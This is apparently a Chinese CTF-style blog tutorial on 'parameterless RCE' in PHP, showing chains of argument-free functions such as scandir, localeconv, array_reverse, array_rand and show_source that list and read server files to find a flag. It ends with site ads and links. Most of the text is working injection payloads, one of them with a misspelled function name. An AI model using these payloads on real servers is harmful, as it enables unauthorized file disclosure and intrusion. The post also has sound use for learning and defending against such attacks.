无参数RCE
无参rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果
1.获取根目录下文件
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //查看
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd())))); //读取
有一定几率失败
2.获取当前目录下文件
正常的,print_r(scandir('.'));
可以用来查看当前目录所有文件名
但是要怎么构造参数里这个点呢,这里介绍几个方法:
(1)localeconv()
返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."
要怎么取到这个点呢,另一个函数:
current()
返回数组中的单元,默认取第一个值
因此payload:print_r(scandir(current(localconv())))
或者使用print_r(scandir(pos(localeconv())));
,pos
是current
的别名
读取当前目录文件名
(1)如果要读取最后一个文件
我们可以使用show_source(end(scandir(getcwd())));
或者用readfile
、highlight_file
、file_get_contents
等读文件函数都可以
(2)介绍一个函数:array_reverse()
以相反的元素顺序返回数组
show_source(current(array_reverse(scandir(getcwd()))));
这样返回的也是第一个文件
(3)如果是倒数第二个 我们可以用
show_source(next(array_reverse(scandir(getcwd()))));
(4)如果不是数组的最后一个或者倒数第二个呢?
我们可以使用array_rand(array_flip())
,array_flip()
是交换数组的键和值,array_rand()
是随机返回一个数组
所以我们可以用:
show_source(array_rand(array_flip(scandir(getcwd()))));
多刷新几次 就可以得到flag的位置
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通